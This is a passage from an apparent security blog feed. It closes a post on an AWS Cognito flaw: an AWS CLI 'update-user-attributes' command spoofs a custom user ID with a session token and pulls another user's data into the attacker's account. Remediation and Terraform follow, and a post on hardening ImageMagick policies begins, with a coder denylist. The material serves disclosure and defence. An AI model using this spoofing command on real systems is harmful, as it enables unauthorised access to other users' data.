&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;UserAttributes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sub&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cf915…[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;email_verified&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;custom:X_platform_user_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[REDACTED ID]&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-simple-deduction&quot;&gt;The Simple Deduction&lt;/h2&gt;

&lt;p&gt;After finding the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X_platform_user_id&lt;/code&gt; user pool attribute, it was clear 
that it was there for a specific purpose. In fact, the platform was 
fetching the attribute to use it as the primary key to query the 
associated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;refresh_token&lt;/code&gt; in an internal database.&lt;/p&gt;

&lt;p&gt;Attempting to spoof the attribute was as simple as executing:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;aws &lt;span class=&quot;nt&quot;&gt;--region&lt;/span&gt; us-east-1 cognito-idp update-user-attributes &lt;span class=&quot;nt&quot;&gt;--user-attributes&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Name=custom:X_platform_user_id,Value=[ANOTHER REDACTED ID]&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--access-token&lt;/span&gt; eyJra..[REDACTED SESSION JWT]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 40%;&quot; src=&quot;/public/images/cloudsectidbit-otherjokes.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The attribute edit succeeded and the data from the other user started to flow into the attacker’s account. The platform trusted the attribute as immutable and used it to retrieve a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;refresh_token&lt;/code&gt; needed to fetch and show data from &lt;span style=&quot;color:red&quot;&gt;&lt;i&gt;X_platform&lt;/i&gt;&lt;/span&gt; in the UI.&lt;/p&gt;

&lt;h2 id=&quot;point-of-the-story----default-readwrite-perms-on-user-attributes&quot;&gt;Point Of The Story -  Default READ/WRITE Perms On User Attributes&lt;/h2&gt;

&lt;p&gt;In AWS Cognito, App Integrations (Clients) have default read/write 
permissions on User Attributes.&lt;/p&gt;

&lt;p&gt;The following image shows the “Attribute read and write permissions” configuration for a new App Integration within a User Pool.&lt;/p&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 80%;&quot; src=&quot;/public/images/cloudsectidbit-attrlist.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Consequently, authenticated users are able to edit their own attributes by using the access token (JWT) and AWS CLI.&lt;/p&gt;

&lt;p&gt;In conclusion, it is very important to know about such behavior and set the permissions correctly during the pool creation. Depending on the platform logic, some attributes should be set as read-only to make them trustable by internal flows.&lt;/p&gt;

&lt;h2 id=&quot;for-cloud-security-auditors&quot;&gt;For cloud security auditors&lt;/h2&gt;

&lt;p&gt;While auditing cloud-driven web platforms, look for JWTs issued by AWS 
Cognito, then answer the following questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Which User Attributes are associated with the user pool?&lt;/li&gt;
  &lt;li&gt;Which ones are editable with the JWT directly via AWS CLI?
    &lt;ul&gt;
      &lt;li&gt;Among the editable ones, is the platform trusting such claims?
        &lt;ul&gt;
          &lt;li&gt;For what internal logic or functional flow?&lt;/li&gt;
          &lt;li&gt;How does editing affect the business logic?&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;for-developers&quot;&gt;For developers&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Remove write permissions for every platform-critical user attribute within App Integration for the used Users Pool (AWS Cognito).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;By removing it, users will not be able to perform attribute updates using their access tokens.&lt;/p&gt;

&lt;p&gt;Updates will be possible only via admin actions such as the &lt;a href=&quot;https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/admin-update-user-attributes.html&quot;&gt;admin-update-user-attributes&lt;/a&gt; method, which requires AWS credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+1 remediation tip&lt;/strong&gt;: To avoid doing it by hand, apply the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r/w&lt;/code&gt; config in your IaC and have the infrastructure correctly deployed. Terraform example:&lt;/p&gt;

&lt;div class=&quot;language-terraform highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aws_cognito_user_pool&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;my_pool&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;my_pool&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aws_cognito_user_pool&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;pool&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;pool&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aws_cognito_user_pool_client&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;client&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;client&quot;&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;user_pool_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aws_cognito_user_pool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;read_attributes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;write_attributes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The given Terraform example file will create a pool where the client will have only read/write permissions on the “email” attribute. In fact, if at least one attribute is specified either in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read_attributes&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write_attributes&lt;/code&gt; lists, the default r/w policy will be ignored.&lt;/p&gt;

&lt;p&gt;By doing so, it is possible to strictly specify the attributes with read/write permissions while implicitly denying them on the non-specified ones.&lt;/p&gt;

&lt;p&gt;Please ensure to properly handle the email and phone number verification in Cognito context. Since they may contain unverified values, remember to apply the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RequireAttributesVerifiedBeforeUpdate&lt;/code&gt; parameter.&lt;/p&gt;

&lt;h2 id=&quot;hands-on-iac-lab&quot;&gt;Hands-On IaC Lab&lt;/h2&gt;

&lt;p&gt;As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/&quot; target=&quot;_blank&quot;&gt;https://github.com/doyensec/cloudsec-tidbits/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stay tuned for the next episode!&lt;/p&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html&quot; target=&quot;_blank&quot;&gt;AWS Cognito User Pools: User Pool Attributes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_UpdateUserAttributes.html&quot; target=&quot;_blank&quot;&gt;UpdateUserAttributes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-dg.pdf&quot; target=&quot;_blank&quot;&gt;Amazon Cognito Developer Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-email-phone-verification.html&quot; target=&quot;_blank&quot;&gt;Configuring email or phone verification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>ImageMagick Security Policy Evaluator</title>
   <link href="https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html"/>
   <updated>2023-01-10T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator</id>
   <content type="html">&lt;p&gt;During our audits we occasionally stumble across &lt;a href=&quot;https://imagemagick.org/&quot;&gt;ImageMagick&lt;/a&gt; security policy configuration files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;policy.xml&lt;/code&gt;), useful for limiting the default behavior and the resources consumed by the library. In the wild, these files often contain a plethora of recommendations cargo cultured from around the internet. This normally happens for two reasons:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Its options are only generally described on the online documentation page of the library, with no clear breakdown of what each security directive allowed by the policy is regulating. While the architectural complexity and the granularity of options definable by the policy are the major obstacles for a newbie, the corresponding knowledge base could be more welcoming. By default, ImageMagick comes with an unrestricted policy that must be tuned by the developers depending on their use. According to the docs, &lt;em&gt;“this affords maximum utility for ImageMagick installations that run in a sandboxed environment, perhaps in a Docker instance, or behind a firewall where security risks are greatly diminished as compared to a public website.”&lt;/em&gt; A secure strict policy is also made available, however &lt;a href=&quot;https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html&quot;&gt;as noted in the past&lt;/a&gt; not always is well configured.&lt;/li&gt;
  &lt;li&gt;ImageMagick &lt;a href=&quot;https://imagemagick.org/script/formats.php#supported&quot;&gt;supports over 100 major file formats&lt;/a&gt; (not including sub-formats) types of image formats. The infamous vulnerabilities affecting the library over the years produced a number of urgent security fixes and workarounds involving the addition of policy items excluding the affected formats and features (ImageTragick in &lt;a href=&quot;https://imagetragick.com/&quot;&gt;2016&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/taviso&quot;&gt;@taviso&lt;/a&gt;’s RCE via GhostScript in &lt;a href=&quot;https://seclists.org/oss-sec/2018/q3/142&quot;&gt;2018&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/insertScript&quot;&gt;@insertScript&lt;/a&gt;’s shell injection via PDF password in &lt;a href=&quot;https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html&quot;&gt;2020&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/alexisdanizan&quot;&gt;@alexisdanizan&lt;/a&gt;’s in &lt;a href=&quot;https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html&quot;&gt;2021&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;towards-safer-policies&quot;&gt;Towards safer policies&lt;/h2&gt;

&lt;p&gt;With this in mind, we decided to study the effects of all the options accepted by ImageMagick’s security policy parser and write a &lt;a href=&quot;https://imagemagick-secevaluator.doyensec.com/&quot;&gt;tool to assist both the developers and the security teams in designing and auditing these files&lt;/a&gt;. Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy. It’s also easy to set policies that appear to work, but offer no real security benefit. The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;The tool can be found at &lt;a href=&quot;https://imagemagick-secevaluator.doyensec.com/&quot;&gt;imagemagick-secevaluator.doyensec.com/&lt;/a&gt;.&lt;/b&gt;&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
    &lt;video src=&quot;../../../public/images/sample-imagemagick-eval-scan.mp4&quot; poster=&quot;../../../public/images/imagemagick-policy-scanner-poster.png&quot; title=&quot;Doyensec's ImageMagick Security Policy Evaluator Demo&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;true&quot; playsinline=&quot;&quot; align=&quot;center&quot; style=&quot;max-width: 100%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto; cursor: pointer;&quot; onclick=&quot;window.location.href = 'https://imagemagick-secevaluator.doyensec.com/'&quot;&gt;&lt;/video&gt;
  &lt;/div&gt;

&lt;h2 id=&quot;allowlist-vs-denylist-approach&quot;&gt;Allowlist vs Denylist approach&lt;/h2&gt;

&lt;p&gt;A number of seemingly secure policies can be found online, specifying a list of insecure coders similar to:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  ...
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;EPHEMERAL&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;EPI&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;EPS&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;MSL&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;MVG&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PDF&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PLT&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PS&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PS2&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PS3&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SHOW&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;TEXT&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WIN&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;XPS&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

